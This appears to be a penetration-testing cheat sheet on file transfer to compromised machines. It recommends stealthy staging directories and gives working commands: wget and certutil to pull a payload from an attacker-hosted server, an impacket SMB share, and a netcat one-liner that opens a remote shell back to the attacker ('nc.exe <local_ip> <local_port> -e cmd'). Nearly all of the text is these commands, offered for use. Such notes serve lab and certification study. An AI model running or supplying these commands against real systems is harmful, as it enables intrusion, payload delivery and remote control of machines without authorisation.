File Transfer

Where to Transfer

  • On Linux, transfer files to /dev/shm
  • On Windows, transfer files to C:\Windows\Tasks
They are chosen to be the locations for file transfer because they are world-readable/writable/executable and more stealthy than /tmp and C:\Windows\Temp.

Linux

On attack machine, host a server:
updog
On victim machine, download with wget:
wget http://<local_ip>/linpeas.sh

Windows

certutil

On attack machine, host a server:
updog
On victim machine, download with certutil:
certutil -urlcache -f http://<local_ip>/payload.exe payload.exe

impacket-smbserver

If certutil is not on the compromised Windows machine, we can transfer files with SMB server instead.
On Kali, create a SMB server:
impacket-smbserver ret2basic /usr/share/windows-resources/binaries/
Here ret2basic is the name of the share and /usr/share/windows-resources/binaries/ is the directory that I want to host. On the compromised Windows machine:
net use * \\<local_ip>\ret2basic
Z:\nc.exe <local_ip> <local_port> -e cmd
